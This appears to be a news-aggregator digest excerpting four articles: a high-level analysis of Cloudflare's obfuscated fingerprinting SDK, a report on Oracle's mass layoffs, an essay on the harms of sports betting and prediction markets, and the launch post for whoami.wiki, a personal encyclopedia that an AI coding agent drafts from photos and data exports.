The obfuscation serves real operational purposes: it hides the fingerprint checklist from static analysis, prevents the website operator (OpenAI) from reading raw fingerprint values without reverse-engineering the bytecode, makes each token unique to prevent replay, and allows Cloudflare to change what the program checks without anyone noticing.
But the “encryption” is XOR with a key that’s in the same data stream. It prevents casual inspection. It does not prevent analysis.
No systems were accessed without authorization. No individual user data is disclosed. All traffic was observed from consented participants. The Sentinel SDK was beautified and manually deobfuscated. All decryption was performed offline using Python.
...
Read the original on www.buchodi.com »
It was not a phone call. It was not a meeting. For thousands of Oracle employees across the globe, Tuesday morning began with a single email landing in their inboxes just after 6 a.m. EST — and by the time they finished reading it, their careers at one of the world’s largest technology companies were over.
Oracle has launched what analysts believe could be the most extensive layoff in the company’s history, with estimates suggesting the cuts will affect between 20,000 and 30,000 employees — roughly 18% of its global workforce of approximately 162,000 people. Workers in the United States, India, and other regions all reported receiving the same termination notice at nearly the same hour, sent under the name “Oracle Leadership.”
There was no heads-up from human resources, no conversation with a direct manager, and no advance notice of any kind. Just an email.
The email that circulated widely after screenshots were posted by affected workers on Reddit’s r/employeesOfOracle community and the professional forum Blind was brief and formulaic. It told employees that following a review of the company’s current business needs, a decision had been made to eliminate their roles as part of a broader organizational change, that the day of the email was their final working day, and that a severance package would be made available after signing termination paperwork through DocuSign.
Employees were also instructed to update their personal email addresses to receive subsequent communications, including separation details and answers to frequently asked questions. For many, access to internal production systems was revoked almost immediately after the message arrived.
Based on accounts shared across both Reddit and Blind, the cuts were widespread and, in some units, severe. Among the teams reported to be most affected:
RHS (Revenue and Health Sciences) — employees described a reduction in force of at least 30%, with 16 or more engineers from individual business units cut in a single action.
SVOS (SaaS and Virtual Operations Services) — similarly reported a 30% or greater reduction, with manager-level roles included in the sweep.
At least one manager was confirmed among those let go, and affected employees in India said the severance structure is expected to follow a standard formula based on years of service, paid out in months. Any unvested restricted stock units, however, were forfeited immediately.
Workers who had vested stock were told they would retain access to those shares through Fidelity. Some employees noted April 3 as their formal last working day, with a one-month garden leave period to follow. Separately, posts on Blind alleged that Oracle had recently installed monitoring software on company-issued Mac laptops capable of logging all device activity, with warnings circulating among affected employees not to copy any files or code before returning their machines.
The layoffs are directly tied to Oracle’s aggressive and debt-heavy expansion into artificial intelligence infrastructure. According to analysis from TD Cowen, the job cuts are expected to free up between $8 billion and $10 billion in cash flow — money the company urgently needs to fund a massive buildout of AI data centers.
The financial picture surrounding that expansion is striking. Oracle has taken on $58 billion in new debt within just two months. Its stock has lost more than half its value since reaching a peak in September 2025. Multiple U. S. banks have reportedly stepped back from financing some of its data center projects. All of this is happening even as the company posted a 95% jump in net income — reaching $6.13 billion — last quarter.
The contrast underscores the scale of the bet Oracle is making: record profits on one side, a mounting debt load and tens of thousands of eliminated jobs on the other. For the workers who woke up Tuesday morning to that 6 a.m. email, the company’s ambitions offered little comfort.
...
Read the original on rollingout.com »
Here are three stories about the state of gambling in America.
In November 2025, two pitchers for the Cleveland Guardians, Emmanuel Clase and Luis Ortiz, were charged in a conspiracy for “rigging pitches.” Frankly, I had never heard of rigged pitches before, but the federal indictment describes a scheme so simple that it’s a miracle that this sort of thing doesn’t happen all the time. Three years ago, a few corrupt bettors approached the pitchers with a tantalizing deal: (1) We’ll bet that certain pitches will be balls; (2) you throw those pitches into the dirt; (3) we’ll win the bets and give you some money.
The plan worked. Why wouldn’t it? There are hundreds of pitches thrown in a baseball game, and nobody cares about one bad pitch. The bets were so deviously clever because they offered enormous rewards for bettors and only incidental inconvenience for players and viewers. Before their plan was snuffed out, the fraudsters won $450,000 from pitches that not even the most ardent Cleveland baseball fan would ever remember the next day. Nobody watching America’s pastime could have guessed that they were witnessing a six-figure fraud.
On the morning of February 28th, someone logged onto the prediction market website Polymarket and made an unusually large bet. This bet wasn’t placed on a baseball game. It wasn’t placed on any sport. This was a bet that the United States would bomb Iran on a specific day, despite extremely low odds of such a thing happening.
A few hours later, bombs landed in Iran. This one bet was part of a $553,000 payday for a user named “Magamyman.” And it was just one of dozens of suspicious, perfectly-timed wagers, totaling millions of dollars, placed in the hours before a war began.
It is almost impossible to believe that, whoever Magamyman is, he didn’t have inside information from members of the administration. The term war profiteering typically refers to arms dealers who get rich from war. But we now live in a world not only where online bettors stand to profit from war, but also where key decision makers in government have the tantalizing options to make hundreds of thousands of dollars by synchronizing military engagements with their gambling position.
On March 10, several days into the Iran War, the journalist Emanuel Fabian reported that a warhead launched from Iran struck a site outside Jerusalem.
Meanwhile on Polymarket, users had placed bets on the precise location of missile strikes on March 10. Fabian’s article was therefore poised to determine payouts of $14 million in betting. As The Atlantic’s Charlie Warzel reported, bettors encouraged him to rewrite his story to produce the outcome that they’d bet on. Others threatened to make his life “miserable.”
A clever dystopian novelist might conceive of a future where poorly paid journalists for news wires are offered six-figure deals to report fictions that cash out bets from online prediction markets. But just how fanciful is that scenario when we have good reason to believe that journalists are already being pressured, bullied, and threatened to publish specific stories that align with multi-thousand dollar bets about the future?
Put it all together: rigged pitches, rigged war bets, and attempts to rig wartime journalism. Without context, each story would sound like a wacky conspiracy theory. But these are not conspiracy theories. These are things that have happened. These are conspiracies—full stop.
“If you’re not paranoid, you’re not paying attention” has historically been one of those bumperstickers you find on the back of a car with so many other bumperstickers that you worry for the sanity of its occupants. But in this weird new reality where every event on the planet has a price, and behind every price is a shadowy counterparty, the jittery gambler’s paranoia—is what I’m watching happening because somebody more powerful than me bet on it?—is starting to seem, eerily, like a kind of perverse common sense.
What’s remarkable is not just the fact that online sports books have taken over sports, or that betting markets have metastasized in politics and culture, but the speed with which both have taken place.
For most of the last century, the major sports leagues were vehemently against gambling, as the Atlantic staff writer McKay Coppins explained in his recent feature. In 1992, NFL commissioner Paul Tagliabue told Congress that “nothing has done more to despoil the games Americans play and watch than widespread gambling on them.” In 2012, NBA commissioner David Stern loudly threatened New Jersey Gov. Chris Christie for signing a bill to legalize sports betting in the Garden State, reportedly screaming, “we’re going to come after you with everything we’ve got.”
So much for that. Following the 2018 Supreme Court decision Murphy vs. NCAA, sports gambling was unleashed into the world, and the leagues haven’t looked back. Last year, the NFL saw $30 billion gambled on football games, and the league itself made half a billion dollars in advertising, licensing, and data deals.
Nine years ago, Americans bet less than $5 billion on sports. Last year, that number rose to at least $160 billion. Big numbers mean nothing to me, so let me put that statistic another way: $5 billion is roughly the amount Americans spend annually at coin-operated laundromats and $160 billion is nearly what Americans spent last year on domestic airline tickets. So, in a decade, the online sports gambling industry will have risen from the level of coin laundromats to rival the entire airline industry.
And now here come the prediction markets, such as Polymarket and Kalshi, whose combined 2025 revenue came in around $50 billion. “These predictive markets are the logical endpoint of the online gambling boom,” Coppins told me on my podcast Plain English. “We have taught the entire American population how to gamble with sports. We’ve made it frictionless and easy and put it on everybody’s phone. Why not extend the logic and culture of gambling to other segments of American life?” He continued:
Why not let people gamble on who’s going to win the Oscar, when Taylor Swift’s wedding will be, how many people will be deported from the United States next year, when the Iranian regime will fall, whether a nuclear weapon will be detonated in the year 2026, or whether there will be a famine in Gaza? These are not things that I’m making up. These are all bets that you can make on these predictive markets.
Indeed, why not let people gamble on whether there will be a famine in Gaza? The market logic is cold and simple: More bets means more information, and more informational volume is more efficiency in the marketplace of all future happenings. But from another perspective—let’s call it, baseline morality?—the transformation of a famine into a windfall event for prescient bettors seems so grotesque as to require no elaboration. One imagines a young man sending his 1099 documents to a tax accountant the following spring: “right, so here are my dividends, these are the cap gains, and, oh yeah, here’s my $9,000 payout for totally nailing when all those kids would die.”
It is a comforting myth that dystopias happen when obviously bad ideas go too far. Comforting, because it plays to our naive hope that the world can be divided into static categories of good versus evil and that once we stigmatize all the bad people and ghettoize all the bad ideas, some utopia will spring into view. But I think dystopias more likely happen because seemingly good ideas go too far. “Pleasure is better than pain” is a sensible notion, and a society devoted to its implications created Brave New World. “Order is better than disorder” sounds alright to me, but a society devoted to the most grotesque vision of that principle takes us to 1984. Sports gambling is fun, and prediction markets can forecast future events. But extended without guardrails or limitations, those principles lead to a world where ubiquitous gambling leads to cheating, cheating leads to distrust, and distrust leads ultimately to cynicism or outright disengagement.
“The crisis of authority that has kind of already visited every other American institution in the last couple of decades has arrived at professional sports,” Coppins said. Two-thirds of Americans now believe that professional athletes sometimes change their performance to influence gambling outcomes. “Not to overstate it, but that’s a disaster,” he said. And not just for sports.
There are four reasons to worry about the effect of gambling in sports and culture.
The first is the risk to individual bettors. Every time we create 1,000 new gamblers, we create dozens of new addicts and a handful of new bankruptcies. As I’ve reported, there is evidence that about one in five men under 25 is on the spectrum of having a gambling problem, and calls to the National Problem Gambling Helpline have roughly tripled since sports gambling was broadly legalized in 2018. Research from UCLA and USC found that bankruptcies increased by 10 percent in states that legalized online sports betting between 2018 and 2023. People will sometimes ask me what business I have worrying about online gambling when people should be free to spend their money however they like. My response is that wise rules place guardrails around economic activity with a certain rate of personal harm. For alcohol, we have licensing requirements, minimum drinking ages, boundaries around hours of sale, and rules about public consumption. As alcohol consumption is declining among young people, gambling is surging; Gen Z has replaced one (often fun) vice with a meaningful chance of addiction with another (often fun) vice with a meaningful chance of addiction. But whereas we have centuries of experience curtailing excessive drinking with rules and customs, we are currently in a free-for-all era of gambling.
The second risk is to individual players and practitioners. One reason why sports commissioners might have wanted to keep gambling out of their business is that gamblers turns some people into complete psychopaths, and that’s not a very nice experience for folks on the receiving end of gambling-afflicted psychopaths. In his feature, McKay Coppins reports on the experience of Caroline Garcia, a top-ranked tennis player, who said she received torrents of abusive messages from gamblers both for losing games and for winning games. “This has become a very common experience for athletes at the professional level, even at the college level too,” Coppins said. As the experience of journalist Emanuel Fabian shows, gambling can turn ordinary people into mini mob bosses, who go around threatening players and practitioners who they believe are costing them thousands of dollars.
The third risk is to the integrity of sports—or any other institution. At the end of 2025, in addition to its indictment of the Cleveland Guardians pitchers, the FBI announced 30 arrests involving gambling schemes in the NBA. This cavalcade of arrests has dramatically reduced trust in sports. Two-thirds of Americans now believe that professional athletes change their performance to influence gambling outcomes. It does not require extraordinary creativity to imagine how this principle could extend to other domains and institutions. If more people start to believe that things only happen in the world as a direct result of shadowy interests in vast betting markets, it’s going to be a permanent open season for conspiracy theories.
The ultimate risk is almost too dark to contemplate in much detail. As the logic and culture of casinos moves from sports to politics, the scandals that have visited baseball and basketball might soon arrive in politics. Is it really so unbelievable that a politician might tip off a friend, or assuage an enemy, by giving them inside information that would allow them to profit on betting markets? Is it really so incredible to believe that a government official would try to align policy with a betting position that stood to earn them, or an allied group, hundreds of thousands of dollars? That is what a “rigged pitch” in politics would look like. It’s not just wagering on a policy outcome that you suspect will happen. It’s changing policy outcomes based on what can be wagered.
Gambling is flourishing because it meets the needs of our moment: a low-trust world, where lonely young people are seeking high-risk opportunities to launch them into wealth and comfort. In such an environment, financialization might seem to be the last form of civic participation that feels honest to a large portion of the country. Voting is compromised, and polling is manipulated, and news is algorithmically curated. But a bet settles. A game ends. There is comfort in that. In an uncertain and illegible world, it doesn’t get much more certain and legible than this: You won, or you lost.
A 2023 Wall Street Journal poll found that Americans are pulling away from practically every value that once defined national life—patriotism, religion, community, family. Young people care less than their parents about marriage, children, or faith. But nature, abhorring a vacuum, is filling the moral void left by retreating institutions with the market. Money has become our final virtue.
I often find myself thinking about the philosopher Alasdair MacIntyre, who argued in the introduction of After Virtue that modernity had destroyed the shared moral language once supplied by traditions and religion, leaving us with only the language of individual preference. Virtue did not disappear, I think, so much as it died and was reincarnated as the market. It is now the market that tells us what things are worth, what events matter, whose predictions are correct, who is winning, who counts. Money has, in a strange way, become the last moral arbiter standing—the final universal language that a pluralistic, distrustful, post-institutional society can use to communicate with itself.
As this moral vocabulary scales across culture, it also corrodes culture. In sports, when you have money on a game, you’re not rooting for a team. You’re rooting for a proposition. The social function of fandom—shared identity, inherited loyalty, something larger than yourself—dissolves into individual risk. In politics, I fear the consequences will be worse. Prediction markets can be useful for those who want to know the future, but their utility recruits participants into a relationship with the news cycle that is adversarial, and even misanthropic. A young man betting on a terrorist attack or a famine is not acting as a mere concerned citizen whose participation improves the efficiency of global prediction markets. He’s just a dude, on his phone, alone in a room, choosing to root for death.
If that doesn’t bother you, I don’t know how to make it bother you. Based on economic and market efficiency principles alone, this young man’s behavior is defensible. But there is morality outside of markets. There is more to life than the efficiency of information networks. But will we rediscover it, any time soon? Don’t bet on it.
...
Read the original on www.derekthompson.org »
Last year, I visited my grandmother’s house for the first time after the pandemic and came across a cupboard full of loose old photos. I counted 1,351 of them spanning all the way from my grandparents in their early 20s, my mom as a baby, to me in middle school, just around the time when we got our first smartphone and all photos since then were backed up online.
Everything was all over the place so I spent some time going through them individually and organizing them into groups. Some of the initial groups were based on the physical attributes of the photograph like similar aspect ratios or film stock. For example, there was a group of black/white 32mm square pictures that were taken around the time when my grandfather was in his mid 20s.
As I got done with grouping all of them, I was able to see flashes of stories in my head, but they were ephemeral and fragile. For instance, there was a group of photos that looked like it was taken during my grandparents’ wedding but I didn’t know the chronological order they were taken because EXIF metadata didn’t exist around that time.
So I sat down with my grandmother and asked her to reorder the photos and tell me everything she could remember about her wedding. Her face lit up as she narrated the backstory behind the occasion, going from photo to photo, resurfacing details that had been dormant for decades. I wrote everything down, recorded the names of people in some of the photos, some of whom I recognized as younger versions of my uncles and aunts.
After the “interview”, I had multiple pages of notes connecting the photos to events that happened 50 years ago. Since the account was historical, as an inside joke I wanted to see if I could clean it up and present it as a page on Wikipedia so I could print it and give it to her. So I cloned MediaWiki, spun up a local instance, and began my editorial work. I used the 2011 Royal Wedding as reference and drafted a page starting with the classic infobox and the lead paragraph.
I split up the rest of the content into sections and filled them with everything I could verify like dates, names, places, who sat where. I scanned all the photos and spent some time figuring out what to place where. For every photo placement, there was a follow up to include a descriptive caption too.
Whenever I mentioned a person, I linked them to an empty stub page. After I found out I could also link to the real Wikipedia, I was able to link things to real pages that provided wider context to things like venues, rituals, and the political climate around that time, like for instance a legal amendment that was relevant to the wedding ceremony.
In two evenings, I was able to document a full backstory for the photos into a neat article. These two evenings also made me realize just how powerful encyclopedia software is to record and preserve media and knowledge that would’ve otherwise been lost over time.
This was so much fun that I spent the following months writing pages to account for all the photos that needed to be stitched together.
I got help from r/genealogy about how to approach recording oral history and I was given resources to better conduct interviews, shoutout to u/stemmatis! I would get on calls with my grandmother and people in the family, ask them a couple of questions, and then write. It was also around this time that I began using audio transcription and language models to make the editorial process easier.
Over time, I managed to write a lot of pages connecting people to different life events. The encyclopedia format made it easy to connect dots I would have never found on my own, like discovering that one of the singers at my grandparents’ wedding was the same nurse who helped deliver me.
After finding all the stories behind the physical photos, I started to work on digital photos and videos that I had stored on Google Photos. The wonderful thing about digital photos is that they come with EXIF metadata that can reveal extra information like date, time, and sometimes geographical coordinates.
This time, without any interviews, I wanted to see if I could use a language model to create a page based on just browsing through the photos. As my first experiment, I created a folder with 625 photos of a family trip to Coorg back in 2012.
I pointed Claude Code at the directory and asked it to draft a wiki page by browsing through the images. I hinted at using ImageMagick to create contact sheets so it would help with browsing through multiple photos at once.
After a few minutes and a couple of tokens later, it had created a compelling draft with a detailed account of everything we did during the trip by time of day. The model had no location data to work with, just timestamps and visual content, but it was able to identify the places from the photos alone, including ones that I had forgotten by now. It picked up details on the modes of transportation we used to get between places just from what it could see.
After I had clarified who some of the people in the pictures were, it went on to identify them automatically in the captions. Now that I had a detailed outline ready, the page still only had content based on the available data, so to fill in the gaps I shared a list of anecdotes from my point of view and the model inserted them into places where the narrative called for them.
The Coorg trip only had photos to work with. My trip to Mexico City in 2022 had a lot more. I had taken 291 photos and 343 videos with an iPhone 12 Pro that included geographical coordinates as part of the EXIF metadata.
On top of that, I exported my location timeline from Google Maps, my Uber trips, my bank transactions, and Shazam history. I would ask Claude Code to start with the photos and then gradually give it access to the different data exports.
Here are some of the things it did across multiple runs:
It cross-referenced my bank transactions with location data to ascertain the restaurants I went to.
Some of the photos and videos showed me in attendance at a soccer match, however, it was unknown which teams were playing. The model looked up my bank transactions and found a Ticketmaster invoice with information about the teams and name of the tournament.
It looked up my Uber trips to figure out travel times and exact locations of pickup and drop.
It used my Shazam tracks to write about the kinds of songs that were playing at a place, like Cuban songs at a Cuban restaurant.
In a follow-up, I mentioned remembering an evening dinner with a guitarist playing in the background. It filtered my media to evening captures, found a frame in a video with the guitarist, uploaded it, and referenced the moment in the page.
The MediaWiki architecture worked well with the edits, since for every new data source it would make amendments like a real Wikipedia contributor would. I leaned heavily on features that already existed. Talk pages to clarify gaps and consolidate research notes, categories to group pages by theme, revision history to track how a page evolved as new data came in. I didn’t have to build any of this, it was all just there.
What started as me helping the model fill in gaps from my memory gradually inverted. The model was now surfacing things I had completely forgotten, cross-referencing details across data sources in ways I never would have done manually.
So I started pointing Claude Code at other data exports. My Facebook, Instagram, and WhatsApp archives held around 100k messages and a couple thousand voice notes exchanged with close friends over a decade.
The model traced the arc of our friendships through the messages, pulled out the life episodes we had talked each other through, and wove them into multiple pages that read like it was written by someone who knew us both. When I shared the pages with my friends, they wanted to read every single one.
This is when I realized I was no longer working on a family history project. What I had been building, page by page, was a personal encyclopedia. A structured, browsable, interconnected account of my life compiled from the data I already had lying around.
I’ve been working on this as whoami.wiki. It uses MediaWiki as its foundation, which turns out to be a great fit because language models already understand Wikipedia conventions deeply from their training data. You bring your data exports, and agents draft the pages for you to review.
A page about your grandmother’s wedding works the same way as a page about a royal wedding. A page about your best friend works the same way as a page about a public figure.
Oh and it’s genuinely fun! Putting together the encyclopedia felt like the early days of Facebook timeline, browsing through finished pages, following links between people and events, and stumbling on a detail I forgot.
But more than the technology, it’s the stories that stayed with me. Writing about my grandmother’s life surfaced things I’d never known, her years as a single mother, the decisions she had to make, the resilience it took. She was a stronger woman than I ever realized. Going through my friendships, I found moments of endearment that I had nearly forgotten, the days friends went the extra mile to be good to me. Seeing those moments laid out on a page made me pick up the phone and call a few of them. The encyclopedia didn’t just organize my data, it made me pay closer attention to the people in my life.
Today I’m releasing whoami.wiki as an open source project. The encyclopedia is yours, it runs on your machine, your data stays with you, and any model can read it. The project is early and I’m still figuring a lot of it out, but if this sounds interesting, you can get started here and tell me what you think!
...
Read the original on whoami.wiki »
To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".
10HN is also available as an iOS App
If you visit 10HN only rarely, check out the the best articles from the past week.
If you like 10HN please leave feedback and share
Visit pancik.com for more.